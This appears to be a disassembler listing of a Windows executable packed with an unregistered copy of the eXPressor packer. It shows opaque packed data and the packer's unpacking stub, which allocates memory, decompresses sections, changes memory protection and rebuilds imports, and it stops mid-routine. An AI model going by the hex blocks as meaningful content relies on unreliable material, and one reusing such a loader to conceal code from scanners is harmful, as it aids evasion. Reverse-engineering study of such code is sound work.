dd 4E5E084Bh, 7A3ADB97h, 0BB8CBB69h, 0C2D87882h, 6CFAC0Bh
dd 0DE7C3BB4h, 513C1438h, 38828D79h, 0FD34EF37h, 0F86920C8h
dd 5C56B764h, 0C5398130h, 0CFBDF8EAh, 12AB521Eh, 0C198DF93h
dd 8E6DD96Bh, 0D90975AFh, 457E540Ch, 3B7A9ADEh, 0BCE67D5Bh
dd 0C14E4C5Fh, 0FE3A719Eh, 0EFBE7A30h, 0D5812890h, 834D6A95h
dd 0CF6C7613h, 64417CBBh, 7B3EBA03h, 0CB98AC2Ch, 9231D4EAh
dd 15B05A3Eh, 465C209Bh, 482D7194h, 4728B108h, 6D3C89A2h
dd 0D941147Ah, 5177D625h, 12F1E50h, 0EE52A620h, 0E702ED64h
dd 473B954Eh, 3A3212A2h, 0AFD9CFD8h, 870FF1B9h, 0A6137D8Fh
dd 0C879655Fh, 0B4DE61D3h, 6F68DA8Bh, 3A506F1Eh, 7FF09DC7h
dd 3DC39FC4h, 0F60EAF8Ah, 0EC2403C1h, 0F75BE0F0h, 50A6F62Ch
dd 0A11CD832h, 0FA5C19ABh, 9FBE7BB9h, 9ABDDA43h, 2BC27B13h
dd 0CF0D5A8Dh, 87CCDB82h, 0D9615AA4h, 2BC65E7Bh, 32FDB79Bh
dd 0F7ED9CEAh, 0D9EC8857h, 6080FC4Eh, 0E96511DCh, 0D35D32ACh
dd 382F6077h, 7295DCEFh, 1B72C9F3h, 6AA6688Bh, 0A218F18Ah
dd 88EDA62Ah, 4C08E3DFh, 430314EFh, 6E4C07FDh, 61B58B99h
dd 0D77628EAh, 77D02344h, 0C3F551D7h, 959324B6h, 0C28AF419h
dd 0A5C6042Dh, 386D2492h, 298EC5D8h, 0F35549Eh, 0D67CA12Ch
dd 825369C0h, 8DDFF4D3h, 0E8B6E1Dh, 0A1C3EB85h, 3350D1E5h
dd 0EAE4F369h, 99B2D8D2h, 26571291h, 0B6415C18h, 76F9102Ch
dd 7B316039h, 0CB2B5D15h
dd 32545521h, 6F082F05h, 0AF217DE8h, 6FEEA5ABh, 0F86D3E03h
dd 536AC627h, 6DB6CDFAh, 0B7E9D1C4h, 37FB85AEh, 1047B2E8h
dd 0B44E67F5h, 49B1A1Ch, 57E3B5E7h, 0B0C7E3FBh, 0A08FABE3h
dd 1367705Fh, 94D1C1Fh, 6B25FED7h, 0AEE912DAh, 0FBF966FAh
dd 1FCB1F92h, 94F4D079h, 32B8327Ah, 5078316Ah, 0A11C6716h
dd 23554AFh, 8938D266h, 0A5A6898Bh, 1F245ECBh, 628C3D84h
dd 1536688Ch, 1254D9DDh, 0E06C9D20h, 0A659CF22h, 2BD58A82h
dd 0D5ECDB6h, 0F84751E4h, 526515CEh, 79836125h, 0EC65EEBCh
dd 7224BF85h, 0F3DA54E1h, 0B56B3ED2h, 664E64A7h, 0DD62B83Dh
dd 0C85E3562h, 845129D6h, 1AE5FDA7h, 4D467C08h, 6B11723Eh
dd 1838DC38h, 0C04B414Bh, 23DF0D9Ch, 7F5695DEh, 62EEF5BEh
dd 820706B7h, 2B7366F9h, 15F45EF3h, 3E2128ACh, 0AA894DC2h
dd 0F49BC896h, 77ED0684h, 0CC5B4854h, 59B76F77h, 0FA782D4Dh
dd 312D76D3h, 0CDB77A47h, 0B7AE843Dh, 0B0F53A7Fh, 0E60FC947h
dd 1456E4F5h, 0D49EF9h, 0F15B6173h, 6835A6AAh, 0CE8431BEh
dd 0C239131Ah, 0ACABA0Eh, 0B61143E3h, 23856B1Fh, 44B59A70h
dd 0A58A801Ch, 37FC796h, 0D344577h, 56E97009h, 0EE4D359Fh
dd 2BE875Dh, 0F3B61DB1h, 5F6A72EBh, 0C9D96BFFh, 8CA9FBDCh
dd 0C9C791C9h, 0FB20F2B2h, 798C81B2h, 7B32886Eh, 52589876h
dd 0EF1BE23Ah, 0E50E79A7h, 0C30774D7h, 0DB4B1523h, 85B8D2Bh
dd 0BE43E9C3h, 3A742233h, 481E88AEh, 353B4A47h, 0AD1D50E8h
dd 69734C23h, 69DDB977h, 5FA0F6A4h, 2FE9B658h, 4143753Dh
dd 0E3FCD2E7h, 9D5C228h, 0F57F9FCh, 0A772C162h, 15BF632Fh
dd 21516CACh, 8A71F1A5h, 27CE839Dh, 57D91EE3h, 0C7E996EEh
dd 0BB6E2B92h, 75B017FEh, 37B6364Fh, 0B98CFC6Bh, 8A69F33Fh
dd 62EEB8AFh, 67FB3CEDh, 537D5373h, 6E910D68h, 4EF39474h
dd 38EB67BDh, 8988FACh, 896B9C36h, 0C066A796h, 0CE8EBA95h
dd 98AD193Dh, 52194D8Eh, 0EDAF5CBAh, 77CCAC71h, 0FDA184B4h
dd 7D5E9C6Dh, 0A8692391h, 0C2CF114Bh, 95B1E73Ah, 29578FE2h
dd 39BDD48Dh, 0EC16FC1Ch, 293AE206h, 4E654C53h, 0F6001AD3h
dd 3CA81677h, 0B1DAEFB8h, 64C24B1Dh, 0F7C95929h, 91B994C6h
dd 4C7ECFF9h, 30C7F3F4h, 9E727C36h, 8C488B17h, 0DB38C674h
dd 0A6386CDFh, 70DDA9A0h, 2539BE97h, 0FC3D9FA3h, 3AA2727Eh
dd 27C14934h, 0DFABF162h, 72740761h, 178935EAh, 0E92E22DBh
dd 6366C3DBh, 3310E419h, 17223936h, 2E47DC79h, 2F7A14EAh
dd 4A5B1F3Fh, 50E9576Bh, 7DE7BEE7h, 0AD37419Ah, 0A27E58FBh
dd 0B9CF95A2h, 0FFC01980h, 0B536ECA7h, 1500295Ah, 0AB148B6Eh
dd 7099D3EAh, 2C0219h, 0D9859B13h, 33944F72h, 0FAEB6570h
dd 0E6AED4B3h, 0EFD329CDh, 896CD9EDh, 0D14AC8FCh, 915FFD05h
dd 60C37288h, 8CF8C54h, 5C3019C3h, 47CEB1EFh, 683EF903h
dd 705030DFh, 530AAEBEh, 90F0DC9Ch, 0E39B7256h, 4A7D54FBh
dd 0F416D4B4h, 172B5Eh, 8A448B16h, 12B70101h, 70BAF5Fh
dd 1D5A1134h, 7D8C29DCh, 0FE889A9Ah, 0AB8B8645h, 0E5AC385Ch
dd 0A0B493C5h, 0E53CAA91h, 7FA2FE1h, 11BF3DB1h, 1BF99731h
dd 0D5E5D051h, 0CCEBCBD1h, 67D64DF7h, 3D342719h, 7CC90343h
dd 0D275F2DEh, 0C7069AEBh, 30EB9F18h, 2A128734h, 0AD9CB799h
dd 0C0601DBEh, 0D7327548h, 1764F217h, 7F854EFBh, 224C115Dh
dd 0CC1F22E6h, 495FDFh, 0EA2BD4EEh, 9F59162Bh, 0E571D967h
dd 804401Ch, 31C23347h, 6D3EE7D8h, 41645219h, 0F082501Ah
dd 400FAADFh, 449A8DAFh, 5E163FDCh, 0C0AF39AFh, 0CA2DB61Dh
dd 0BE0F3D60h, 0DE73F92Fh, 76788FC1h, 0C6129250h, 30853451h
dd 118890Ch, 3B7D24D8h, 2C486EDDh, 0F0AAFAAh, 229A535h
dd 7D63D108h, 0B04CEA46h, 0AD966751h, 8AC61426h, 6CA759B1h
dd 172F51E4h, 885425D8h, 8CFE43EFh, 397DF494h, 0F77F2D99h
dd 2BE0D2CEh, 0D38E6667h, 0AC77714Bh, 86AD23E4h, 0CF8A1571h
dd 28184716h, 9643B368h, 40A8C270h, 541B627h, 10BE88E3h
dd 0F2655F60h, 6968D8D7h, 0D93786C1h, 49AFAA8Bh, 9789794Fh
dd 0DC461E10h, 599CAF1Fh, 2D4BE151h, 0C0BB8297h, 0AF20AEDh
dd 0EEB5F89Ch, 80F38779h, 1C3D2894h, 3A59F192h, 7C66CF3Eh
dd 0D83821A0h, 0EB9399C6h, 0EC0781E4h, 0FA38A423h, 263F68CCh
dd 270B464Ah, 0C4E83022h, 0C4DB60A4h, 36ACD1F4h, 0B8A6C8E0h
dd 0D2DCE197h, 88ADD21h, 8D2A7AD8h, 47CE87D2h, 4FA5110Dh
dd 0C9685EB7h, 0AD625BA6h, 7E1FD005h, 0CEC9BF55h, 76B69725h
dd 373A6F6Fh, 4CEE0956h, 0CEB79371h, 2D0C945Bh, 0DAAD03CCh
dd 0CF913D89h, 0D9A2B909h, 967890B4h, 0E8DD1BFFh, 0DB594BFAh
dd 0BA0F98E3h, 31233B0h, 0E3EC63A2h, 0F37738AEh, 0D158B479h
dd 4D97CAEAh, 20F177EEh, 4629B27Ch, 222FD1DFh, 9C2144D4h
dd 1AB80FE9h, 0EDDB05C0h, 0CDC66BB3h, 816860C8h, 36276140h
dd 6FAF4713h, 0A64BF833h, 9FF53DDDh, 59AA1B9Dh, 901F9802h
dd 0CFA62B19h, 6064C3D6h, 71000377h, 0A2A10FB4h, 2E14E98Bh
dd 0E92A954Eh, 0E84B1468h, 728C0C73h, 46270367h, 87905070h
dd 9479310Dh, 922ED44Bh, 1D51FAB4h, 5F92A681h, 0D4B4464Eh
dd 202488CBh, 541C0CEEh, 0D1EDF5A7h, 2B92EC59h, 0CE9824FFh
dd 9F8C1A5Dh, 0B1DAB495h, 98A79F21h, 0B4F19CBDh, 5F7D6EF5h
dd 8BBEABD4h, 0A87192CAh, 805D383Dh, 0AAE73F7Fh, 56A6F5A9h
dd 0CB333715h, 1235A0AEh, 0C741BBB1h, 0A5388C11h, 43B9DAA8h
dd 6C6915A5h, 1705E413h, 1F641489h, 18040C84h, 22A7747Ch
dd 0BA1F5160h, 762BECF0h, 877677C9h, 0DBE527D7h, 2B704507h
dd 0DF81EB3Bh, 46C09D12h, 6BE5AFE8h, 3562868Ah, 0C1284EE6h
dd 0E8637AFEh, 2E18ACB5h, 938F0D12h, 3A2D7F8Bh, 487ACDA5h
dd 0EF0C8E0Fh, 0A065BAF4h, 51998831h, 4F45F126h, 9D0C792Bh
dd 1CEC2E12h, 573BA309h, 25C12Fh, 49BDCF07h, 0FB291C5Fh
dd 0AFC4106Dh, 5B004429h, 6C277D02h, 0DD3826A3h, 7D3FD646h
dd 26E61CA4h, 1FF03A23h, 1DFE70Dh, 6FC36EC0h, 0EF00DE4Eh
dd 0F1D0F0DEh, 721F14A4h, 26561682h, 6E0C2877h, 230EBA80h
dd 66DF110Eh, 300706A0h, 8C3C35Fh, 6F8647F0h, 60AB4A9Dh
dd 0F1C8C60Eh, 0EE623B08h, 1BDD20E2h, 9895F9BDh, 0BA70E5C8h
dd 0F77D9BFAh, 0BD744255h, 9D45D599h, 0F5D3F771h, 75F7286Ah
dd 0A5648996h, 6D220921h, 0ACB3C02Fh, 0FCE7628Ah, 0FE51A61Fh
dd 4D44D9D8h, 3185E8FAh, 785195A3h, 546518FDh, 308BC5DAh
dd 0C782184Eh, 7D800451h, 0CFAD7B3Eh, 0A3DCFDB4h, 0F9D04270h
dd 0B754F5C2h, 0C73CFE24h, 9E742E0Dh, 2C0B1C99h, 2102C7CBh
dd 0EBDB2577h, 9936AAFFh, 73AA0D73h, 7CACADBDh, 3D516682h
dd 0FC31E00Bh, 0B4E34D53h, 5EA6D741h, 588D4745h, 0C2A40A35h
dd 0A8F78984h, 0E16766F6h, 756A797h, 88E8E953h, 0CBB60CC1h
dd 0E42FAD31h, 87B05EA1h, 0A232F036h, 0C1C8C7C3h, 20CD0AE2h
dd 278C6B97h, 0D705F238h, 1B23119Bh, 0E5FBCFD4h, 0B5B9C142h
dd 0D4B473A4h, 0C99CACB2h, 0D022AFAAh, 0D5B0F1ABh, 0AD600CD9h
dd 857E0EB1h, 398582BDh, 4D4A94BBh, 4D28ABF9h, 20D11FB6h
dd 0FD0C3400h, 0A46715D4h, 48BD1785h, 0C8A394CFh, 8CC55F2Eh
dd 0E7F2C96Fh, 775EF3A3h, 3C727108h, 9C2BB233h, 0BFCB6466h
dd 1B8CCA0Bh, 124C3CD8h, 64B0F4EEh, 0D1C084Ah, 370F8840h
dd 9E2847EFh, 0A666FE0h
dd 51A8169Eh, 0D3300C30h, 0D9AB47F1h, 3A95FF5Bh, 5E6132h
dd 8000h, 193C8013h, 6E537C5Ah, 0F2D9F54Bh, 0F6BB492h
dd 0E3F9662Eh, 0FFFF0D6Ah, 9048FCh
_pdata ends
; Section 3. (virtual address 000A3000)
; Virtual size : 000012D3 ( 4819.)
; Section size in file : 000012D3 ( 4819.)
; Offset to raw data for section: 000A3000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_ex_cod segment para public 'CODE' use32
assume cs:_ex_cod
;org 4A3000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_4A3000 dd 1200h ; DATA XREF: start+6Br start+70o
off_4A3004 dd offset dword_4A4200 ; DATA XREF: sub_4A341Dr start+75w ...
dword_4A3008 dd 400000h ; DATA XREF: start+9Ew start+131r ...
dword_4A300C dd 1 ; DATA XREF: start:loc_4A347Fr
; start:loc_4A348Dw
dword_4A3010 dd 0 ; DATA XREF: start:loc_4A3A0Er
; start+5F2r ...
dword_4A3014 dd 0 ; DATA XREF: start+2Bw start+45r
dword_4A3018 dd 0 ; DATA XREF: start+3Cr
off_4A301C dd offset sub_4198E4 ; DATA XREF: start+5DCw
; start:loc_4A3A2Ar
dd 0
aThisApplicatio db 'This application was packed with an Unregistered version of eXPre'
; DATA XREF: start+8Co
db 'ssor.',0Ah
db 'For registration, please visit www.cgsoftlabs.ro',0
aInfo db 'Info',0 ; DATA XREF: start+87o
align 4
aR0 db 'à0',0Ah,0
align 10h
a1_1 db 'Ä1',0Ah,0
dd 0A310Ch, 0A3104h, 2 dup(0)
dd 0A31E0h, 0A3130h, 5 dup(0)
dd 0A3138h, 0A3146h, 0A3156h, 0A3164h, 0A3176h, 0A3188h
dd 0A319Ch, 0A31AEh, 0
dd 0A31D2h, 0
dword_4A310C dd 77E79E34h ; DATA XREF: sub_4A3344+ADr start+287r ...
dword_4A3110 dd 77E7980Ah ; DATA XREF: sub_4A3344+65r start+171r
dword_4A3114 dd 77E75CB5h ; DATA XREF: start+63Br
dword_4A3118 dd 77E7A5FDh ; DATA XREF: start+527r start+558r
dword_4A311C dd 77E805B8h ; DATA XREF: start+43Br start+48Dr
dword_4A3120 dd 77E79F93h ; DATA XREF: start+41Cr
dword_4A3124 dd 77E6169Ah ; DATA XREF: start+3FBr start+583r
dword_4A3128 dd 77E7A099h ; DATA XREF: start+B2r
align 10h
dword_4A3130 dd 77D6ADD7h ; DATA XREF: start+93r
align 8
dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h
dd 416C6175h, 636F6C6Ch, 0AF0000h, 74697845h, 636F7250h
dd 737365h, 65470198h, 6F725074h, 64644163h, 73736572h
dd 2490000h, 64616F4Ch, 7262694Ch, 45797261h, 4178h, 65470177h
dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6956037Bh, 61757472h
dd 6F72506Ch, 74636574h, 1750000h
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
aKernel32_dll_1 db 'KERNEL32.dll',0
align 2
dw 1DEh
aMessageboxa_0 db 'MessageBoxA',0
aUser32_dll_0 db 'USER32.dll',0
align 4
unicode 0, <^>
dw 8000h
dd 19270000h, 0C802E089h, 0BE839EF3h, 41B6B11Bh, 56237822h
dd 71BA0D54h, 68772094h, 0FC301F0Eh, 917A159Eh, 7F0F3FE0h
dd 0DD5304FDh, 88809B8h, 949180h, 90EDFBh, 0C26387D0h
dd 5DAEBB6Dh, 1EA6E26h, 98CBC360h, 7E1B00A6h, 0AD00C202h
dd 3C6ED329h, 7164EE3Bh, 648D24B5h, 0DDABF315h, 864D550h
dd 3C59DBABh, 93384D8Ch, 0E4A91608h, 0F430AF39h, 5E10B65Fh
dd 520B311Dh, 1E0A8B41h, 0CF7F9D1Eh, 0C20320CDh, 0E0B676D7h
dd 0CF42C5E6h, 0B1DCB20h, 282B4A22h, 6830219Bh, 0AE1D8589h
dd 423D3D40h, 7373B247h, 62A7C512h, 0AB4EEBB8h, 67207267h
dd 268BC87Ah, 911D60FAh, 6F1FC03Eh, 0AE9D4971h, 0C5FB263Ah
dd 0AD895839h, 0E65072Bh, 2BC19F2Ah, 5F038A70h, 8EB4B4B3h
dd 76673D66h, 0A1907467h, 0D1E243C2h, 5B2AE100h, 0A7F30706h
dd 39DB0F21h, 7B5337AEh, 5D640617h, 99C859FBh, 0E455FDABh
dd 0D6A78184h, 0C19AC2D3h, 8B7FAEFBh, 0F911A38Dh, 3924DAD6h
dd 0A2DBD38Dh, 395EFC01h, 6A0E3143h, 28E7B155h, 0FAACA3D8h
dd 0A4E00E18h, 0CDEB94B5h, 4E0824E2h, 5401A664h, 2D59257Fh
dd 4157BD1h, 5DE20A8Eh, 483BBDA5h, 0FFBC7CE5h, 125B38h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3344 proc near ; CODE XREF: start+1E5p start+3AAp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov cl, [eax]
cmp cl, 0E1h
jnb short loc_4A33B6
xor ebx, ebx
cmp cl, 2Dh
mov [ebp+var_4], ebx
jb short loc_4A3374
movzx eax, cl
push 2Dh
xor edx, edx
pop esi
div esi
mov [ebp+var_4], eax
loc_4A336E: ; CODE XREF: sub_4A3344+2Ej
add cl, 0D3h
dec eax
jnz short loc_4A336E
loc_4A3374: ; CODE XREF: sub_4A3344+1Bj
cmp cl, 9
jb short loc_4A338B
movzx eax, cl
push 9
xor edx, edx
pop esi
div esi
mov ebx, eax
loc_4A3385: ; CODE XREF: sub_4A3344+45j
add cl, 0F7h
dec eax
jnz short loc_4A3385
loc_4A338B: ; CODE XREF: sub_4A3344+33j
movzx esi, cl
mov eax, 300h
push 4
lea ecx, [esi+ebx]
push 1000h
shl eax, cl
lea edi, [eax+eax+0E6Ch]
push edi
push 0
call ds:dword_4A3110 ; VirtualAlloc
test eax, eax
mov [ebp+var_C], eax
jnz short loc_4A33BB
loc_4A33B6: ; CODE XREF: sub_4A3344+11j
push 1
pop eax
jmp short loc_4A3418
; ---------------------------------------------------------------------------
loc_4A33BB: ; CODE XREF: sub_4A3344+70j
lea ecx, [ebp+var_8]
push ecx
mov ecx, [ebp+arg_4]
push 0FFFFFFFFh
add ecx, 0FFFFFFFBh
push [ebp+arg_8]
push ecx
mov ecx, [ebp+arg_0]
add ecx, 5
push ecx
push [ebp+var_4]
push ebx
push esi
push edi
push eax
call sub_4A3E82
add esp, 28h
mov esi, [ebp+var_8]
xor ebx, ebx
mov edi, eax
push 8000h
push ebx
push [ebp+var_C]
call ds:dword_4A310C ; VirtualFree
lea eax, [ebp+var_10]
mov [ebp+var_14], ebx
push eax
lea eax, [ebp+var_14]
push eax
push ebx
push esi
mov [ebp+var_10], 0FFFFFFFBh
push [ebp+arg_8]
call sub_4A3A75
add esp, 14h
mov eax, edi
loc_4A3418: ; CODE XREF: sub_4A3344+75j
pop edi
pop esi
pop ebx
leave
retn
sub_4A3344 endp
; =============== S U B R O U T I N E =======================================
sub_4A341D proc near ; CODE XREF: start:loc_4A34C5p
mov ecx, ds:off_4A3004
mov eax, offset start
sub eax, [ecx+50h]
retn
sub_4A341D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near ; DATA XREF: sub_4A341D+6o
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_244 = dword ptr -244h
var_240 = dword ptr -240h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = byte ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 250h
push ebx
push esi
push edi
and [ebp+var_230], 0
rep jmp short loc_4A344E
; ---------------------------------------------------------------------------
dw 5865h
dd 762D7250h, 352E312Eh
db 2Eh, 0
; ---------------------------------------------------------------------------
loc_4A344E: ; CODE XREF: start+13j
cmp [ebp+arg_4], 1
jnz short loc_4A345E
mov eax, [ebp+arg_0]
mov ds:dword_4A3014, eax
jmp short loc_4A3462
; ---------------------------------------------------------------------------
loc_4A345E: ; CODE XREF: start+26j
and [ebp+arg_0], 0
loc_4A3462: ; CODE XREF: start+30j
cmp [ebp+arg_4], 0
jnz short loc_4A347F
cmp ds:dword_4A3018, 0
jz short loc_4A347F
cmp ds:dword_4A3014, 0
jz short loc_4A347F
jmp loc_4A3A73
; ---------------------------------------------------------------------------
loc_4A347F: ; CODE XREF: start+3Aj start+43j ...
cmp ds:dword_4A300C, 0
jz short loc_4A348D
jmp loc_4A3A0E
; ---------------------------------------------------------------------------
loc_4A348D: ; CODE XREF: start+5Aj
mov ds:dword_4A300C, 1
mov eax, ds:dword_4A3000
add eax, offset dword_4A3000
mov ds:off_4A3004, eax
mov eax, ds:off_4A3004
cmp dword ptr [eax+4Ch], 0
jnz short loc_4A34C5
push 10h
push offset aInfo ; "Info"
push offset aThisApplicatio ; "This application was packed with an Unr"...
push 0
call ds:dword_4A3130 ; MessageBoxA
loc_4A34C5: ; CODE XREF: start+83j
call sub_4A341D
mov ds:dword_4A3008, eax
push 104h
lea eax, [ebp+var_210]
push eax
push [ebp+arg_0]
call ds:dword_4A3128 ; GetModuleFileNameA
lea eax, [ebp+eax+var_211]
mov [ebp+var_224], eax
loc_4A34F1: ; CODE XREF: start+E0j
mov eax, [ebp+var_224]
movsx eax, byte ptr [eax]
cmp eax, 5Ch
jz short loc_4A350E
mov eax, [ebp+var_224]
dec eax
mov [ebp+var_224], eax
jmp short loc_4A34F1
; ---------------------------------------------------------------------------
loc_4A350E: ; CODE XREF: start+D1j
mov eax, [ebp+var_224]
inc eax
mov [ebp+var_224], eax
mov eax, [ebp+var_224]
lea ecx, [ebp+var_210]
sub eax, ecx
mov [ebp+var_24C], eax
mov ecx, [ebp+var_24C]
lea esi, [ebp+var_210]
lea edi, [ebp+var_104]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+var_24C]
and [ebp+eax+var_103], 0
mov eax, ds:dword_4A3008
mov [ebp+var_248], eax
mov eax, [ebp+var_248]
mov ecx, ds:dword_4A3008
add ecx, [eax+3Ch]
mov [ebp+var_228], ecx
mov eax, ds:off_4A3004
cmp dword ptr [eax+6Ch], 0
jz loc_4A36BE
push 4
push 1000h
mov eax, ds:off_4A3004
push dword ptr [eax+38h]
push 0
call ds:dword_4A3110 ; VirtualAlloc
mov [ebp+var_240], eax
mov eax, [ebp+var_240]
mov [ebp+var_238], eax
cmp [ebp+var_238], 0
jnz short loc_4A35C3
jmp loc_4A3A71
; ---------------------------------------------------------------------------
loc_4A35C3: ; CODE XREF: start+190j
mov eax, ds:off_4A3004
mov eax, [eax+3Ch]
mov [ebp+var_22C], eax
mov eax, ds:off_4A3004
mov ecx, ds:dword_4A3008
add ecx, [eax+44h]
mov eax, ds:off_4A3004
mov esi, [ebp+var_228]
mov eax, [eax+80h]
xor edx, edx
div dword ptr [esi+3Ch]
add ecx, edx
mov [ebp+var_218], ecx
push [ebp+var_238]
mov eax, ds:off_4A3004
push dword ptr [eax+38h]
push [ebp+var_218]
call sub_4A3344
add esp, 0Ch
jmp short loc_4A3628
; ---------------------------------------------------------------------------
loc_4A361B: ; CODE XREF: start+275j
mov eax, [ebp+var_230]
inc eax
mov [ebp+var_230], eax
loc_4A3628: ; CODE XREF: start+1EDj
mov eax, ds:off_4A3004
movzx eax, word ptr [eax+78h]
cmp [ebp+var_230], eax
jge short loc_4A36A6
mov eax, [ebp+var_230]
imul eax, 18h
mov ecx, ds:off_4A3004
mov ecx, [ecx+eax+84h]
mov esi, [ebp+var_238]
mov eax, [ebp+var_230]
imul eax, 18h
mov edx, ds:off_4A3004
mov edi, ds:dword_4A3008
add edi, [edx+eax+88h]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+var_230]
imul eax, 18h
mov ecx, ds:off_4A3004
mov edx, [ebp+var_238]
add edx, [ecx+eax+84h]
mov [ebp+var_238], edx
jmp loc_4A361B
; ---------------------------------------------------------------------------
loc_4A36A6: ; CODE XREF: start+20Bj
push 8000h
push 0
push [ebp+var_240]
call ds:dword_4A310C ; VirtualFree
jmp loc_4A37E3
; ---------------------------------------------------------------------------
loc_4A36BE: ; CODE XREF: start+15Aj
mov eax, ds:off_4A3004
mov ecx, ds:dword_4A3008
add ecx, [eax+44h]
mov eax, ds:off_4A3004
sub ecx, [eax+40h]
mov eax, ds:off_4A3004
mov esi, [ebp+var_228]
mov eax, [eax+80h]
xor edx, edx
div dword ptr [esi+3Ch]
add ecx, edx
mov [ebp+var_240], ecx
and [ebp+var_230], 0
jmp short loc_4A3708
; ---------------------------------------------------------------------------
loc_4A36FB: ; CODE XREF: start:loc_4A37DEj
mov eax, [ebp+var_230]
inc eax
mov [ebp+var_230], eax
loc_4A3708: ; CODE XREF: start+2CDj
mov eax, ds:off_4A3004
movzx eax, word ptr [eax+78h]
cmp [ebp+var_230], eax
jge loc_4A37E3
mov eax, [ebp+var_230]
imul eax, 18h
mov ecx, ds:off_4A3004
cmp dword ptr [ecx+eax+7Ch], 0
jz loc_4A37DE
mov eax, [ebp+var_230]
imul eax, 18h
mov ecx, ds:off_4A3004
cmp dword ptr [ecx+eax+84h], 0
jbe loc_4A37DE
mov eax, [ebp+var_230]
imul eax, 18h
mov ecx, ds:off_4A3004
mov edx, ds:dword_4A3008
add edx, [ecx+eax+88h]
mov [ebp+var_238], edx
mov eax, [ebp+var_230]
imul eax, 18h
mov ecx, ds:off_4A3004
mov eax, [ecx+eax+84h]
mov [ebp+var_22C], eax
mov eax, [ebp+var_230]
imul eax, 18h
mov ecx, ds:off_4A3004
mov edx, [ebp+var_240]
add edx, [ecx+eax+80h]
mov [ebp+var_218], edx
push [ebp+var_238]
mov eax, [ebp+var_230]
imul eax, 18h
mov ecx, ds:off_4A3004
push dword ptr [ecx+eax+84h]
push [ebp+var_218]
call sub_4A3344
add esp, 0Ch
loc_4A37DE: ; CODE XREF: start+305j start+322j
jmp loc_4A36FB
; ---------------------------------------------------------------------------
loc_4A37E3: ; CODE XREF: start+28Dj start+2EBj
mov eax, ds:off_4A3004
mov ecx, ds:dword_4A3008
add ecx, [eax+5Ch]
mov [ebp+var_244], ecx
loc_4A37F7: ; CODE XREF: start+5C9j
mov eax, [ebp+var_244]
cmp dword ptr [eax+0Ch], 0
jz loc_4A39FA
mov eax, ds:off_4A3004
cmp dword ptr [eax+5Ch], 0
jz loc_4A39FA
lea eax, [ebp+var_234]
push eax
push 40h
push 14h
push [ebp+var_244]
call ds:dword_4A3124 ; VirtualProtect
mov eax, [ebp+var_244]
mov ecx, ds:dword_4A3008
add ecx, [eax+0Ch]
mov [ebp+var_10C], ecx
push [ebp+var_10C]
call ds:dword_4A3120 ; GetModuleHandleA
mov [ebp+var_23C], eax
cmp [ebp+var_23C], 0
jnz short loc_4A3873
push 8
push 0
push [ebp+var_10C]
call ds:dword_4A311C ; LoadLibraryExA
mov [ebp+var_23C], eax
loc_4A3873: ; CODE XREF: start+42Fj
cmp [ebp+var_23C], 0
jnz short loc_4A38C5
mov edi, [ebp+var_10C]
mov eax, [ebp+var_24C]
lea eax, [ebp+eax+var_104]
mov edx, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push 8
push 0
lea eax, [ebp+var_104]
push eax
call ds:dword_4A311C ; LoadLibraryExA
mov [ebp+var_23C], eax
loc_4A38C5: ; CODE XREF: start+44Ej
cmp [ebp+var_23C], 0
jnz short loc_4A38D3
jmp loc_4A3A6F
; ---------------------------------------------------------------------------
loc_4A38D3: ; CODE XREF: start+4A0j
mov eax, [ebp+var_244]
mov ecx, ds:dword_4A3008
add ecx, [eax+10h]
mov [ebp+var_21C], ecx
mov eax, [ebp+var_244]
cmp dword ptr [eax], 0
jnz short loc_4A3901
mov eax, [ebp+var_21C]
mov [ebp-214h], eax
jmp short loc_4A3915
; ---------------------------------------------------------------------------
loc_4A3901: ; CODE XREF: start+4C5j
mov eax, [ebp+var_244]
mov ecx, ds:dword_4A3008
add ecx, [eax]
mov [ebp-214h], ecx
loc_4A3915: ; CODE XREF: start+4D3j start+5B5j
mov eax, [ebp-214h]
cmp dword ptr [eax], 0
jz loc_4A39E6
and [ebp+var_250], 0
mov eax, [ebp-214h]
mov eax, [eax]
and eax, 80000000h
test eax, eax
jz short loc_4A3961
mov eax, [ebp-214h]
mov eax, [eax]
and eax, 0FFFFh
movzx eax, ax
push eax
push [ebp+var_23C]
call ds:dword_4A3118 ; GetProcAddress
mov [ebp+var_250], eax
jmp short loc_4A3990
; ---------------------------------------------------------------------------
loc_4A3961: ; CODE XREF: start+50Ej
mov eax, [ebp-214h]
mov eax, [eax]
add eax, ds:dword_4A3008
mov [ebp+var_108], eax
mov eax, [ebp+var_108]
inc eax
inc eax
push eax
push [ebp+var_23C]
call ds:dword_4A3118 ; GetProcAddress
mov [ebp+var_250], eax
loc_4A3990: ; CODE XREF: start+533j
cmp [ebp+var_250], 0
jnz short loc_4A399E
jmp loc_4A3A6D
